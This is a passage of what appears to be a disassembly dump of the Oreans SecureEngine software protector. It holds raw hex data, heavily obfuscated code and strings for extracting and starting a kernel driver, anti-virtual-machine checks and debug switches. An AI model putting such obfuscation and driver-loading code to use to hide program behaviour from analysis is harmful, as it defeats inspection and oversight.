3 dup(0) dd 12Ch, 138h, 2 dup(0) dd 142h, 196h, 1D2h, 0 dd 1D2h, 0 dd 1000h, 14h, 37C0h, 10h, 0Ch dup(0) dd 4000000h, 27C0h, 0 dd 2045h, 1, 14h, 444F434Ch, 10000h, 20000h, 30000h, 40000h dd 50000h, 60000h, 70000h, 80000h, 90000h, 0A0000h, 0B0000h dd 0C0000h, 0D0000h, 0E0000h, 0F0000h, 100000h, 110000h dd 120000h, 130000h, 140000h, 52505808h, 5856544Fh, 44h dd 10301h, 3, 0 dd 13h dup(70000h), 3C0000h, 70000h, 60010018h, 0AD000727h dd 500101h, 1910007h, 27279B01h, 6F010600h, 7D017927h dd 85018101h, 8D018901h, 75000701h, 27950101h, 1710007h dd 7279801h, 1016B00h, 2771h, 360h dup(0) dd 400h, 1, 4F525058h, 44585654h, 80000000h, 9 dup(0) aVerpp db 'verPP',0 align 4 a1vsr2vsr3vsr db '1vsR2vsR3vsR',0 align 4 dd 9C3h dup(0) dd 831BE883h, 77309F8h, 8524FFh, 0F8000000h, 0C3h, 8 dup(0) dd 0C3C03300h, 83C3C033h, 75000C7Eh, 0EBC03304h, 0C7E831Ah dd 8D147501h, 5, 187E8B00h, 46C70789h, 420h, 0C3C03300h dd 5250580Ch, 5856544Fh, 44445F44h, 42h, 99E9h, 75622F00h dd 65686367h, 326B63h, 6775622Fh, 63656863h, 662F006Bh dd 6563726Fh, 6E7572h, 6775622Fh, 63656863h, 6C75666Bh dd 732F006Ch, 63776F68h, 65646Fh, 6F68732Fh, 646F6377h dd 2F003265h, 74726C63h, 69642F00h, 2F003173h, 776F6873h dd 74736E69h, 65636E61h, 65672F00h, 736C7774h, 75746174h dd 6C2F0073h, 7473676Fh, 73757461h, 75642F00h, 7473706Dh dd 73757461h, 0 dd 68632F00h, 706B6365h, 65746F72h, 6F697463h, 6Eh, 0BD830000h dd 5E9EDCCh, 0A840F00h, 0C7000000h, 0E71C1585h, 105h, 0F985C600h dd 4705E707h, 4E8h, 6D6C8D00h, 448B5090h, 8B0424h, 4244489h dd 25B5FF58h, 8D05E70Ch, 0E7391785h, 0FFD0FF05h, 80F88BD0h dd 850F223Fh, 22h, 0AE22B047h, 0FFF9850Fh, 3F80FFFFh, 18840F00h dd 47000003h, 0F003F80h, 30E84h, 1EE900h, 3F800000h, 840F00h dd 80000003h, 850F203Fh, 6, 6E947h, 0E9470000h, 0FFFFFFE2h dd 0F003F80h, 585h, 2DDE900h, 1E90000h, 47000000h, 0F203F80h dd 0FFFFF684h, 3F80FFh, 5850Fh, 0C0E90000h, 0E8000002h dd 0Ah, 0FFFFCBE9h, 2B1E9FFh, 0B58D0000h, 5E9ED4Ch, 225E8h dd 0E1BD0300h, 8305E9EDh, 0E9EDE1BDh, 840F0005h, 0Bh, 0D7985C7h dd 105E7h, 8DC30000h, 0E9ED57B5h, 1FCE805h, 0BD030000h dd 5E9EDE1h, 0EDE1BD83h, 0F0005E9h, 0B84h, 1585C700h, 105E71Ch dd 0C3000000h, 0EDD0B58Dh, 0D3E805E9h, 3000001h, 0E9EDE1BDh dd 0E1BD8305h, 5E9EDh, 0B840Fh, 85C70000h, 5E730D5h, 1 dd 61B58DC3h, 0E805E9EDh, 1AAh, 0EDE1BD03h, 0BD8305E9h dd 5E9EDE1h, 0B840F00h, 0C7000000h, 0E71C1585h, 105h, 0B58DC300h dd 5E9ED6Bh, 181E8h, 0E1BD0300h, 8305E9EDh, 0E9EDE1BDh dd 840F0005h, 15h, 1C1585C7h, 105E7h, 85C70000h, 5E70D79h dd 1, 79B58DC3h, 0E805E9EDh, 14Eh, 0EDE1BD03h, 0BD8305E9h dd 5E9EDE1h, 0A840F00h, 0C7000000h, 0E732D585h, 105h, 83B58D00h dd 0E805E9EDh, 126h, 0EDE1BD03h, 0BD8305E9h, 5E9EDE1h dd 0A840F00h, 0C7000000h, 0E732D585h, 105h, 8EB58D00h dd 0E805E9EDh, 0FEh, 0EDE1BD03h, 0BD8305E9h, 5E9EDE1h dd 0A840F00h, 0C7000000h, 0E70E8585h, 105h, 94B58D00h dd 0E805E9EDh, 0D6h, 0EDE1BD03h, 0BD8305E9h, 5E9EDE1h dd 0A840F00h, 0C7000000h, 0E7264185h, 105h, 9AB58D00h dd 0E805E9EDh, 0AEh, 0EDE1BD03h, 0BD8305E9h, 5E9EDE1h dd 0A840F00h, 0C7000000h, 0E712D985h, 105h, 0A8B58D00h dd 0E805E9EDh, 86h, 0EDE1BD03h, 0BD8305E9h, 5E9EDE1h, 0A840F00h dd 0C7000000h, 0E72A9D85h, 105h, 0B5B58D00h, 0E805E9EDh dd 5Eh, 0EDE1BD03h, 0BD8305E9h, 5E9EDE1h, 0A840F00h, 0C7000000h dd 0E732DD85h, 105h, 0C0B58D00h, 0E805E9EDh, 36h, 0EDE1BD03h dd 0BD8305E9h, 5E9EDE1h, 0A840F00h, 0C7000000h, 0E7068185h dd 105h, 1E900h, 80470000h, 840F203Fh, 9, 0F003F80h, 0FFFFED85h dd 0B960C3FFh, 1, 19E9DE8Bh, 80000000h, 850F003Fh, 2, 178AC92Bh dd 840F1638h, 2, 4746C92Bh, 0F003E80h, 884h, 0FC90B00h dd 0FFFFD685h, 0FC90BFFh, 2184h, 3F8000h, 9840Fh, 3F800000h dd 0A850F20h, 0B9000000h, 1, 5E9h, 0B900h, 0C90B0000h dd 0D840Fh, 0F32B0000h, 0EDE1B589h, 0AE905E9h, 0C7000000h dd 0E9EDE185h, 5, 8BC36100h, 13E8C8h, 0FB2C0000h, 6888E2D7h dd 890FA3E2h, 57E5D744h, 0DB19B88Eh, 0BD235A71h, 5E7313Dh dd 5C91C281h, 7E80000h, 95000000h, 76697C65h, 8B66132Ch dd 96BB5FF0h, 8161EFDAh, 0EFC3A4EBh, 810A8B61h, 0C8AE9AC1h dd 0DABE6653h, 66E981A5h, 2930EAA1h, 0E703ED85h, 5E98105h dd 322CDAEh, 0E7098DB5h, 8B665105h, 8B028FC3h, 0E70499B5h dd 3EA8305h, 1B31B533h, 604A05E7h, 3957BB66h, 0F19D8951h dd 5F05E72Ch, 1EB8361h, 1A850Fh, 95890000h, 5E70281h, 36E9h dd 124A2400h, 7E85DBCDh, 8A8AD75h, 684D58FFh, 12E9h, 0C73CB400h dd 2E7A3DF3h, 75C79E82h, 63320C4Ch, 0E9C42046h, 0FFFFFF79h dd 0B7A50F6Fh, 0FD75EEBh, 0E940F21Dh, 10A9h, 41564441h dd 32334950h, 4C4C442Eh, 65704F00h, 4D43536Eh, 67616E61h dd 417265h, 61657243h, 65536574h, 63697672h, 53004165h dd 74726174h, 76726553h, 41656369h, 74654700h, 6974614Eh dd 79536576h, 6D657473h, 6F666E49h, 65704F00h, 7265536Eh dd 65636976h, 65440041h, 6574656Ch, 76726553h, 656369h dd 736F6C43h, 72655365h, 65636976h, 646E6148h, 4300656Ch dd 72746E6Fh, 65536C6Fh, 63697672h, 65h, 7 dup(0) dd 726F0000h, 736E6165h, 732E3233h, 7379h, 0 dd 6F000000h, 6E616572h, 34367873h, 7379732Eh, 2 dup(0) dd 65726F00h, 33736E61h, 5C5C0032h, 726F5C2Eh, 736E6165h dd 5C003233h, 475C2E5Ch, 61626F6Ch, 726F5C6Ch, 736E6165h dd 6F003233h, 6E616572h, 34367873h, 2E5C5C00h, 6F6C475Ch dd 5C6C6162h, 6165726Fh, 3678736Eh, 34h, 41h dup(0) dd 59530000h, 4D455453h, 544F4F52h, 5C732500h, 74737973h dd 32336D65h, 6972645Ch, 73726576h, 73255Ch, 735C7325h dd 6F777379h, 5C343677h, 76697264h, 5C737265h, 25007325h dd 79735C73h, 6D657473h, 645C3233h, 65766972h, 6F5C7372h dd 6E616572h, 2E323373h, 737973h, 49h dup(0) a3cannotUpdateO db '3Cannot Update oreans.sys driver. Please, make sure that you have' db 0Ah db 0Dh,'administrator',27h,'s permits the first time that you are going to ' db 'run this program.',0 align 10h dd 59h dup(0) a3cannotOpenOre db '3Cannot open oreans.vxd driver. Make sure that oreans.vxd',0Ah db 0Dh,'is not open by another program.',0 align 10h dd 67h dup(0) a3secureengineD db '3SecureEngine driver cannot be updated because there are some pro' db 'grams using',0Ah db 0Dh,'it. You need to close those programs or restart your computer.',0Ah db 0Dh,'Restart now?',0 align 4 dd 0D9h dup(0) a_Oreans_vxd db '\\.\Oreans.vxd',0 align 4 dd 2 dup(0) dd 5C732500h, 6165724Fh, 762E736Eh, 6478h, 2 dup(0) dd 72705800h, 7645746Fh, 746E65h, 0Bh dup(0) aSeshutdownpr_0 db 'SeShutdownPrivilege',0 dd 0 aCreateeventApi db 'CreateEvent API Error while extraction the driver',0 aGetenvironment db 'GetEnvironmentVariable API Error while extraction the driver',0 aOpenscmanagerA db 'OpenSCManager API Error while extraction the driver',0 aCreateserviceA db 'CreateService API Error while extraction the driver',0 aCloseservice_0 db 'CloseServiceHandle API Error while extraction the driver',0 aOpenserviceApi db 'OpenService API Error while extraction the driver',0 aStartserviceAp db 'StartService API Error while extraction the driver',0 aApicErrorCanno db 'APIC error: Cannot find Processors Control Blocks. Please,',0Ah db 0Dh,'contact info@oreans.com for this error',0 align 8 dd 104h, 726F5333h, 202C7972h, 73696874h, 70706120h, 6163696Ch dd 6E6F6974h, 6E616320h, 20746F6Eh, 206E7572h, 65646E75h dd 20612072h, 74726956h, 206C6175h, 6863614Dh, 656E69h dd 70h dup(0) dd 1000h, 10000h, 7FFEFFFFh, 2 dup(1), 24Ah, 10000h, 408000Fh dd 9400h, 500h, 100h, 0A2800h, 200h, 21h dup(0) dd 89C48B00h, 0E71B4D95h, 11E905h, 8A350000h, 0AA088D50h dd 0C1D43BB9h, 0C93FB78h, 896A74ABh, 0E709AD85h, 10E905h dd 83920000h, 0D639AEB2h, 989057D7h, 7217916Fh, 8BF55593h dd 298529C0h, 8305E707h, 0E70D79BDh, 9750005h, 1C15BD83h dd 740005E7h, 8B535019h, 43DB8C0h, 85890000h, 5E713D5h dd 0AA349D8Dh, 0D3FF05E9h, 0BD83585Bh, 5E71C15h, 50177400h dd 43DB853h, 85890000h, 5E713D5h, 0A7239D8Dh, 0D3FF05E9h dd 0D08B585Bh, 5DCC281h, 6A7F1Ah, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 160424h, 57470000h, 0A64BD1C3h, 2231BD89h dd 0C08B05E7h, 6FD9D89h, 0C08B05E7h, 32DDCA81h, 0BD8305D1h dd 5E70D79h, 83097500h, 0E71C15BDh, 13740005h, 0C08B5350h dd 0B8h, 0D69D8D00h, 0FF05E9A8h, 83585BD3h, 0E71C15BDh dd 11740005h, 0B85350h, 8D000000h, 0E9A7879Dh, 5BD3FF05h dd 8BEA8A58h, 0E72349BDh, 29C08B05h, 0E703D995h, 0FC08B05h dd 687h, 8D858900h, 6605E713h, 765FD981h, 0D79BD83h, 750005E7h dd 15BD8309h, 5E71Ch, 53501374h, 0B8C08Bh, 8D000000h, 0E9A8089Dh dd 5BD3FF05h, 15BD8358h, 5E71Ch, 53501174h, 0B8h, 559D8D00h dd 0FF05E9A7h, 0BF585BD3h, 414FED2h, 24619523h, 6A05E7h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 84594C3h, 0B529B312h, 5E71CDDh, 62B5C08Bh, 880FC08Bh dd 6, 13918D31h, 0BD8305E7h, 5E70D79h, 83097500h, 0E71C15BDh dd 13740005h, 0C08B5350h, 0B8h, 6F9D8D00h, 0FF05E9A8h dd 83585BD3h, 0E71C15BDh, 11740005h, 0B85350h, 8D000000h dd 0E9A76E9Dh, 5BD3FF05h, 6638B258h, 0AC6DA81h, 0CE8BC08Bh dd 5E9C08Bh, 60000000h, 0EBD71A29h, 0D79BD83h, 750005E7h dd 15BD8309h, 5E71Ch, 53501374h, 0B8C08Bh, 8D000000h, 0E9A7A19Dh dd 5BD3FF05h, 618D8958h, 8B05E712h, 0E7278DBDh, 2FBF6605h dd 0E9C08B45h, 0Bh, 0F84C81B8h, 2AC2050Eh, 8B89315Ch, 55006AC0h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 0BD8321F5h, 5E70D79h, 83097500h, 0E71C15BDh, 19740005h dd 0C08B5350h, 7D0B8h, 0D5858900h, 8D05E713h, 0E9AA349Dh dd 5BD3FF05h, 15BD8358h, 5E71Ch, 53501774h, 7D0B8h, 0D5858900h dd 8D05E713h, 0E9A7239Dh, 5BD3FF05h, 53006A58h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 0EF8166C0h dd 958B4A25h, 5E72241h, 1D8F0Fh, 11E80000h, 6F000000h dd 0EE074E65h, 0FFD89853h, 3B6FC2E8h, 6B54CF72h, 8D0Fh dd 8B5A0000h, 8D958BC0h, 0C605E72Ch, 0E707F985h, 6A5305h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 1A6F3BC3h, 3F8AF1Dh, 0E72EB58Dh, 0C1852905h, 6805E70Bh dd 99395F90h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 16h, 0C4C35545h, 0B5FFB4D6h, 5E70C25h, 5890Fh, 0F530000h dd 8D59C9BFh, 0E7391785h, 11BD8B05h, 0FF05E71Ch, 8589FCD0h dd 5E732CDh, 13E9h, 4CA47300h, 8B7D9B0Dh, 0A603CDCAh, 0E1F68BBh dd 8DB3BE82h, 7F985C6h, 515705E7h, 8B5FDBB2h, 520668C8h dd 958B9004h, 5E72585h, 0C25B5FFh, 8D2905E7h, 5E72745h dd 3917858Dh, 0BA6605E7h, 0D0FFB228h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 19h, 11C35646h, 0FBD8941Dh, 0CE833h dd 9C5C0000h, 0D13D28CAh, 9728549Eh, 8D014280h, 5E70F41h dd 0C1858959h, 8905E729h, 0E7279D95h, 0F985C605h, 4305E707h dd 9E8h, 32C79500h, 694DEBDCh, 0DF813F25h, 7395E14Bh, 0B1958B59h dd 6805E706h, 0BC907028h, 16B1B589h, 0B5FF05E7h, 5E70C25h dd 1698D8Bh, 0BA6605E7h, 858D0A9Ch, 5E73917h, 7F5BD89h dd 0D0FF05E7h, 8904C980h, 0E7205585h, 0A8D0F05h, 60000000h dd 8D8BD18Bh, 5E72041h, 0B18D8B61h, 0C605E715h, 0E707F985h dd 8DB94C05h, 68602052h, 0D9DA1CE9h, 0D24CF0BAh, 25B5FF2Dh dd 2905E70Ch, 0E704519Dh, 9853105h, 8D05E704h, 0E7391785h dd 55006A05h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h dd 0C3554500h, 0FF9A8834h, 0AE9D0h, 0D8220000h, 0A8D05649h dd 31574E35h, 31F98589h, 6A05E7h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1B0424h, 53430000h, 9F5524C3h, 8E659A2h dd 0ED8D8B7Dh, 0C605E726h, 0E707F985h, 6A4605h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h dd 1380CEC3h, 5585092Dh, 6805E72Dh, 0BADE0614h, 0CF99D89h dd 0B5FF05E7h, 5E70C25h, 6890Fh, 0EA810000h, 37E16631h dd 3917858Dh, 6A05E7h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 190424h, 52420000h, 9743A5C3h, 8B4F6DF5h, 0B9D0FFD7h dd 9DA2FC2h, 30C58589h, 0BD0305E7h, 5E70D51h, 7F985C6h dd 6A4705E7h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1B042444h, 42000000h, 241CC352h, 658EFA34h, 0E268E967h dd 898A0FB5h, 0E7218185h, 25B5FF05h, 6A05E70Ch, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h dd 7C2BC356h, 48105077h, 0AE8EEh, 0F4DC0000h, 4914D6E4h dd 11C6054Ah, 0E418D2Bh, 8D5905E7h, 0E7391785h, 0D6BF0F05h dd 8D8BD0FFh, 5E72221h, 0F618589h, 85C605E7h, 5E707F9h dd 68A0F47h, 8B000000h, 0E726A18Dh, 0C8D0F05h, 0F000000h dd 688h, 0D99D8900h, 6805E722h, 83D0B5F3h, 10E8h, 0F92AE100h dd 9133D8DCh, 789D6293h, 7B58BD27h, 0B2BA668Dh, 0B5FF5F30h dd 5E70C25h, 858DD18Bh, 5E73917h, 0D846BA66h, 0BD03D0FFh dd 5E70BADh, 8818589h, 85C605E7h, 5E707F9h, 0F58D8B77h dd 6805E716h, 0F397A8A3h, 0A117BA66h, 13C5B5FFh, 858D05E7h dd 5E73917h, 2E458D8Bh, 0D0FF05E7h, 0F344C181h, 0B9666DBCh dd 85899DA4h, 5E70629h, 0C6D3BF0Fh, 0E707F985h, 8A0F4705h dd 0 dd 28FAF668h, 18800F87h, 0E9000000h, 13h, 63391589h, 0A287C417h dd 0E44BFF71h, 0D35CECBFh, 0FF8EB9B7h, 0E70C25B5h, 0F8DABF05h dd 858D1844h, 5E73917h, 0FFF88B66h, 0A59529D0h, 8905E720h dd 0E71CC985h, 55006A05h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1404h, 0C3554500h, 0F985C634h, 4305E707h dd 734DEF81h, 816645B9h, 68B670C1h, 0BC8E6EFCh, 9E9h, 3D30DF00h dd 65D6C7E9h, 0B5FF0E7Fh, 5E70C25h, 2F299529h, 858D05E7h dd 5E73917h, 68F0Fh, 958B0000h, 5E702F9h, 10E9D0FFh, 15000000h dd 0BC2B92B3h, 8B50B8DFh, 0F46D589Fh, 8991A0B7h, 0E7037985h dd 0B0BF5005h, 597DD0E8h, 7F985C6h, 6A4505E7h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h dd 7AB2C351h, 8B2167ADh, 9BFACB3Eh, 14E9h, 0B7E09500h dd 3D9EF83Ch, 86ADF3B7h, 0D99D5D61h, 0AEF76359h, 69696824h dd 5E98E72h, 0CE000000h, 1AC6B7Bh, 0C25B5FFh, 666005E7h dd 0B5CC45B8h, 0BD2B616Bh, 5E72AA5h, 3917858Dh, 0FE805E7h dd 69000000h, 0D2A33744h, 9FF87342h, 18CE6FEFh, 8159A81Bh dd 26BCAED9h, 0FD0FF7Ch, 685h, 0B1952B00h, 8905E72Ch, 0E727D185h dd 41958B05h, 0C605E722h, 0E707F985h, 85094405h, 5E72649h dd 0F2EC6468h, 0F58D8BB8h, 0FF05E732h, 0E70C25B5h, 17858D05h dd 905E739h, 0E7163195h, 6AD0FF05h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 1AA8C356h dd 6D06EF80h, 820F36E2h, 9418D89h, 858905E7h, 5E7044Dh dd 6358D2Bh, 85C605E7h, 5E707F9h, 56006A43h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 0E97CE5h, 68228B95h dd 0C0764AA7h, 0FFCE8B66h, 0E70C25B5h, 56006A05h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h dd 0E9CB06F5h, 0Dh, 55B9FCD4h, 0F7AA0652h, 9E39266Fh, 0CF8B668Ch dd 3917858Dh, 858905E7h, 5E72E79h, 9589D0FFh, 5E70EC1h dd 0CC58589h, 870F05E7h, 6, 2019D89h, 0BD8005E7h, 5E9FE25h dd 5A840F00h, 0F000001h, 48Eh, 61605600h, 7DA6B959h, 858D7D62h dd 5E9FE07h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Dh, 0CC35646h, 410B5931h, 0D366D0B4h, 0C840FE1h, 0F000000h dd 685h, 45B58900h, 6005E726h, 4419D89h, 0E96005E7h, 9 dd 4716EF90h, 0AAEB53CFh, 8E8BAh, 1C280000h, 2C49DEA7h dd 615FDC8Ch, 6A5061h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 190424h, 51410000h, 7FE724C3h, 9D34110h, 0E720D18Dh dd 29016A05h, 0E70B8995h, 6A006A05h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 2819C351h dd 6E9E3E2h, 0C8000000h, 1BEF4B28h, 0E9006A21h, 11h, 74AA05E6h dd 21DFBB4Bh, 0B84EFC13h, 0AEE5BC59h, 11E96Ah, 0E93B0000h dd 0F9EA2305h, 5BF2861Ch, 1635E023h, 0FF83FE8Dh, 0E7205595h dd 0CAB70F05h, 0CE58589h, 0E0B905E7h, 6A2AFD3Fh, 0F18D33FFh dd 0E905E708h, 5, 2348AB90h, 0E5B5FFFFh, 6A05E70Ch, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h dd 3A6FC351h, 840EC961h, 0BD0BBCF5h, 5E713B5h, 29C195FFh dd 8B6605E7h, 8AC08BCFh, 79BD83D1h, 5E70Dh, 0BD830975h dd 5E71C15h, 50197400h, 0B8C08B53h, 7D1h, 13D58589h, 9D8D05E7h dd 5E9AA34h, 585BD3FFh, 1C15BD83h, 740005E7h, 0B8535017h dd 7D1h, 13D58589h, 9D8D05E7h, 5E9A723h, 585BD3FFh, 26B18D8Bh dd 8D8905E7h, 5E707F5h, 13E960h, 0A9120000h, 0F8DAC255h dd 7F571Ch, 0B105074Bh, 0F46A2D21h, 68D0FDAh, 89000000h dd 0E727DDB5h, 0C08B6105h, 7BD8C281h, 85C67134h, 5E707F9h dd 5D952947h, 6805E701h, 93C8F7C1h, 0A4E18166h, 25B5FFC7h dd 8B05E70Ch, 0E72BE58Dh, 17858D05h, 905E739h, 0E7215985h dd 29D0FF05h, 0E72C4595h, 6A5005h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1A0424h, 52420000h, 0DF9D33C3h, 0B6DB48D3h dd 248858Dh, 8D8905EAh, 5E727C5h, 9400C7h, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 310E8CC3h, 0FD70AE8Bh, 0F5D3D281h, 0F586C76h, 382h dd 0B4DD8000h, 248B58Dh, 0BF6605EAh, 0FF56F2A2h, 50006AD0h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h dd 3D341D71h, 8DEF8AC5h, 0EA024885h, 91850105h, 8305E703h dd 0F060478h, 1B85h, 0F1BD8900h, 0C705E727h, 0EA02DC85h dd 105h, 0A1958B00h, 6605E71Ch, 4018D281h, 157DBD83h, 0F0005E7h dd 6C85h, 15810F00h, 0E8000000h, 9, 36D7FF2Dh, 0E16BBEEAh dd 0B9BD239Ah, 5A05E70Eh, 2DCBD83h, 0F0005EAh, 4485h, 13E800h dd 0FDAE0000h, 0FF30B172h, 6E3956F0h, 51F13ADFh, 95B44418h dd 95096057h, 5E72EE9h, 6185F280h, 91BD8359h, 5E721h, 13840Fh dd 8BF80000h, 0A985C7D0h, 5E70Eh, 89000000h, 0E7320985h dd 0DB8C6605h, 22A9BD03h, 0C3F605E7h, 5E840F04h, 66000005h dd 4EA3E281h, 7F185C7h, 5E7h, 95230000h, 5E7135Dh, 80D7BF0Fh dd 0E9FE32BDh, 850F0005h, 6, 2DA98D8Bh, 85C605E7h, 5E707F9h dd 8F0F47h, 68000000h, 0E3E45B86h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 15h, 0B6C35646h, 0DBC981C3h, 0F503E4F3h dd 16870Fh, 0E8520000h, 0Eh, 0E2F80056h, 0D25E2C53h, 1E6734CFh dd 5A59655Ch, 0C25B5FFh, 9D0905E7h, 5E71B89h, 3917858Dh dd 0BD0905E7h, 5E727C5h, 89D0FFF9h, 0E705F995h, 1046805h dd 958B0000h, 5E71509h, 96DBD8Bh, 9D8D05E7h, 5E72FA5h dd 3355958Bh, 805305E7h, 0D0FF88C9h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 19h, 56C35545h, 830FBD5Ch, 0A5858D59h dd 8105E72Fh, 5C07B6DFh, 6A5000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 140424h, 55450000h, 858DA6C3h, 5E9FDE4h dd 0E28050F8h, 0B7858D37h, 0E905E9F4h, 6, 0AE268AFBh, 6A5060A5h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h dd 46000000h, 6185C356h, 59850922h, 0FF05E720h, 0E7062995h dd 0CC48305h, 13E9h, 66FD700h, 0EA56D3EDh, 6B03805Eh, 0E456E5F4h dd 0B53F6118h, 8068006Ah, 6A000000h, 6A006A03h, 6800h dd 858D8000h, 5E9F4B7h, 7995FF50h, 8905E703h, 0E9FDC785h dd 0F985C605h, 4705E707h, 0B15E8768h, 25B5FFC7h, 8D05E70Ch dd 0E7391785h, 6AD0FF05h, 0C7B5FF00h, 0FF05E9FDh, 8BA66D0h dd 56006AB2h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h dd 0C3564600h, 579785EAh, 9D89B050h, 5E72AB5h, 13E9h, 27516600h dd 5484BF0Ch, 0F7D37CEh, 0C23C4143h, 0F0BEF7Bh, 37D03Dh dd 3F830F00h, 8B000000h, 0C7B5FFCFh, 8905E9FDh, 0E72D3195h dd 0C595FF05h, 6A05E70Ch, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch dd 16042444h, 43000000h, 0F1E8C353h, 19D3197h, 0E905E726h dd 0A3h, 0B5FFD68Bh, 5E9FDC7h, 9E9h, 7B2A9B00h, 0D9FA71B7h dd 14E9BAB8h, 38000000h, 337C87AEh, 0D5B97C95h, 0FF861363h dd 8C7EEA76h, 0FF402976h, 0E70CC595h, 85858905h, 6A05E703h dd 18D8900h, 6A05E72Ah, 6AD38B00h, 0D6BA6600h, 0F8006A18h dd 0BD8B006Ah, 5E70AD5h, 0D78B006Ah, 0FDCB858Dh, 0BA6605E9h dd 8B500785h, 0E704318Dh, 7995FF05h, 6005E703h, 177DB589h dd 0F6105E7h, 0F883D0BFh, 0C9850FFFh, 6A000001h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h dd 8D26C355h, 0E9B46C85h, 51006A05h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 64683A44h dd 0FB81B08h, 188Dh, 128E0F00h, 0E8000000h, 0Ch, 3A598EE6h dd 0B4026AABh, 0E6CBFA9Bh, 6AD0FF5Ah, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 7DEBC352h dd 0E95DD5DBh, 0B59D0127h, 6A05E703h, 8D896000h, 5E727C5h dd 9E957h, 0A9990000h, 0E15873A2h, 5FFA8EC9h, 53006A61h dd 6A006A5Fh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1C042444h, 40000000h, 621AC350h, 0A4B3279Eh, 0E9BDB48Ch dd 0Bh, 78802DC7h, 0D3233C30h, 6A1A358Ch, 0EDE5BF00h, 6A1B64h dd 2A5D950Bh, 6A05E7h, 0F5BD8951h, 5905E707h, 0FDCB858Dh dd 0E18005E9h, 0BD8B603Bh, 5E71759h, 61F98B66h, 55006A50h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h dd 0D4D6A4ADh, 37995FFh, 816605E7h, 83495FEFh, 850FFFF8h dd 88h, 2BD9523h, 0B58D05E7h, 5E9F7D3h, 0F3B96656h, 858D5A84h dd 5E9A41Fh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 14h, 64C35242h, 2D6D8D8Bh, 0D0FF05E7h, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 14h, 0AFC35343h, 6A006Ah dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h dd 0F6ACEAC3h, 0F19AF2DFh, 27D195FFh, 0BA6605E7h, 0D18BCA68h dd 0FDC78589h, 11E805E9h, 0F8000000h, 0DB1C9C4Eh, 421961EAh dd 24516528h, 4AFE220Bh, 6A5FF5h, 0B7FED981h, 858D44D3h dd 5E9FDBFh, 21AD8589h, 0E85005E7h, 0Eh, 0DA1A9A95h, 0C3E70820h dd 0A55C5E0Eh, 0CF818CE6h, 33FF9F40h, 8B046A5Fh, 0E701A995h dd 59858D05h, 8005E72Ah, 0F50ABE9h, 6AD1BFh, 35A7DA81h dd 6A128Dh, 6B0B50B9h, 0E8016A45h, 7, 61E1405Dh, 0E9111266h dd 12h, 0F8A325E5h, 30F4982Fh, 504C078h, 398761D0h, 0FF5A260Dh dd 0E9FDC7B5h, 56006A05h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1704h, 0C3564600h, 0AF3A6563h, 44D95FFh dd 0D68B05E7h, 57E966B5h, 0B2000019h, 89C08BBAh, 0E706FD85h dd 79BD8305h, 5E70Dh, 0BD830975h, 5E71C15h, 50197400h dd 0B8C08B53h, 7D2h, 13D58589h, 9D8D05E7h, 5E9AA34h, 585BD3FFh dd 1C15BD83h, 740005E7h, 0B8535017h, 7D2h, 13D58589h, 9D8D05E7h dd 5E9A723h, 585BD3FFh, 0ECD8589h, 8B6605E7h, 20E680D0h dd 0BD89C08Bh, 5E7080Dh, 7F185C7h, 105E7h, 5E90000h, 4E000000h dd 0E4EF8E24h, 0E4E7B868h, 0F1B5FFCEh, 8D05E705h, 0E7391785h dd 89D0FF05h, 0E70B5185h, 0DBD46805h, 0B5FFC005h, 5E705F1h dd 3917858Dh, 0D0FF05E7h, 0AC18589h, 858D05E7h, 5E9F270h dd 25B5FF50h, 0FF05E70Ch, 0E70F6195h, 74C00B05h, 8DD88B0Bh dd 0EA022385h, 0D3FF5005h, 223858Dh, 836605EAh, 0A750938h dd 2E4185C7h, 105E7h, 95FF0000h, 5E71CC9h, 0FF25h, 5F88300h dd 85C70A73h, 5E72285h, 1, 8BFB8B66h, 0E715A1BDh, 32BD8005h dd 5E9FEh, 11850Fh, 9D010000h, 